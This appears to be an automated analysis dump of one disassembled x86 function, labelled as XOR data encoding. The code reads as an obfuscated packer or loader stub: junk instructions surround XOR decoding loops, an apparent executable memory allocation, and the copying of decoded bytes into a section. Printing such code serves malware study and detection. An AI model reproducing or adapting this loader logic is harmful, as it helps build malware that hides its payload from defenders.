Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xfd2803ec
add eax, eax
or esi, esi
popal
sub eax, 0xdf5de1ee
and esi, esi
and esi, eax
mov esi, 0
mov edi, ebx
add eax, ecx
and ecx, eax
mov edx, edi
inc ecx
or eax, ecx
and eax, ecx
mov ebx, edx
not eax
mov ecx, 0xfba4f757
dec eax
inc esi
add ecx, 1
and ecx, eax
or ecx, eax
cmp esi, 0x10042c8
jne 0xa789c6
sub ecx, 1
add ecx, ecx
not esi
mov esi, 0xbc107fa3
mov ecx, 0xa78796
or eax, ebx
add eax, eax
and edi, edi
mov edx, 0xa7898a
sub edi, 0x8c13dd03
add ebx, eax
add eax, ebx
mov esi, dword [ecx]
or ebx, eax
dec ebx
or ebx, ebx
and esi, 0xff
sub eax, edi
mov ebx, 0x1c9b7cdd
xor dword [edx], esi
sub ebx, edi
not eax
add edx, 1
add ebx, eax
add ebx, eax
inc ecx
mov edi, 0x529dc065
add edi, 0xc7c51c8
add eax, 0x7cf1bc4c
cmp edx, entry0
jl 0xa78a1d
sub eax, ebx
or ebx, eax
sub edi, eax
mov ebx, eax
and edi, edi
sub esi, 0xd1137f9e
add esi, ecx
add edi, 1
mov ebx, 0xa7898e
add esi, edi
add edi, 1
mov ebx, dword [ebx]
sub esi, 0xaeed9902
mov edi, 0xd96f85ec
mov ebx, dword [ebx]
not esi
dec edx
mov esi, 0x2ac55511
sub esp, 4
mov dword [esp], ebx
sub edx, esi
sub edi, 0xe801032b
mov ebx, 0xa7898a
sub edi, 1
and edx, edx
sub esi, edx
mov ebx, dword [ebx]
or edx, edx
sub ecx, 0xef469e95
mov ebx, dword [ebx]
and edx, ecx
inc edi
sub esp, 4
mov dword [esp], 0xa78992
sub edx, edi
add ecx, edi
and esi, edi
call ebx
and esi, edi
inc ecx
mov ecx, esi
pop ebx
inc ecx
not edx
not edx
push 0xa7899f
inc edx
dec esi
mov edx, 0x10613d21
push eax
mov edx, edi
add edi, edi
inc edi
call ebx
not edi
inc esi
mov esi, 0x6040e9f2
sub esp, 4
mov dword [esp], 0x40
dec edi
or esi, edx
add edx, 0x9989b54d
push 0x3000
dec esi
mov edi, 0x491fbe9c
push 0x2000093b
mov ecx, 0x42b6560f
add edx, edx
add edi, edi
sub esp, 4
mov dword [esp], 0
mov edi, 0xbaed6456
or esi, ecx
call eax
sub edi, ecx
add edi, 1
add ecx, ecx
add eax, 0x200008a8
sub edx, ecx
mov ecx, 0x8fc0aed8
mov ebx, 0xe9626feb
sub edx, 0x1d38aa7a
mov esi, 0xb475fb10
mov dword [eax], ebx
sub edx, esi
inc edi
mov ebx, dword [eax]
or ecx, edx
sub edx, 0xf7e8a023
add edi, 1
cmp ebx, 0xe9626feb
je 0xa78b8a
mov eax, 0
mov ecx, dword [eax]
not esi
mov esi, edx
sub ecx, 0x34791c80
sub esi, 0x921952fe
not esi
sub eax, esi
or eax, esi
mov edx, section..reltc
sub eax, 1
sub esi, 0x1c0c2a74
mov edi, 0xa78795
add eax, eax
add eax, 0x6e70f118
mov ecx, 0
add eax, 0x8a910ff
not eax
add esi, 1
mov ebx, 0xa78796
and esi, eax
sub eax, 1
and esi, eax
lea ebx, [ebx + ecx]
not eax
add eax, esi
mov ebx, dword [ebx]
or esi, eax
and eax, esi
mov esi, eax
and ebx, 0xff
mov eax, esi
mov esi, 0x44469682
and esi, esi
inc ecx
add esi, eax
add eax, 0x2f4c30f6
dec eax
cmp ecx, 0x1f4
jne 0xa78c15
mov ecx, 0
and eax, eax
mov esi, eax
inc esi
sub esi, eax
xor dword [edx], ebx
mov esi, eax
sub esi, eax
add edx, 2
sub eax, esi
add eax, eax
inc eax
cmp edx, edi
jl 0xa78bd1
not eax
or eax, eax
or esi, eax
add eax, 0xa2ae61af
mov esi, 0xd6d06db6
mov edi, section..reltc
sub edx, 0x82fbede
sub edx, 0x47a82037
mov eax, section..reltc
dec edx
sub edx, 0x294775eb
or edx, ecx
mov esi, 0xa78795
sub edx, ecx
add ecx, edx
mov ebx, 0
not edx
inc edx
mov bl, byte [eax]
inc edx
add ecx, ecx
mov edx, ecx
mov byte [edi], bl
add ecx, 0xd2ae3fba
sub ecx, 0x5294d188
add edx, 0xccbe47
inc edi
inc edx
dec edx
add eax, 2
not edx
and ecx, edx
sub edx, 1
cmp eax, esi
jle 0xa78c76
sub edx, 1
inc edx
sub ecx, edx
sub eax, 0x4b1c9839
sub eax, esi
sub esp, 4
mov dword [esp], 0x8dc6a0
mov esi, eax
and esi, esi
ret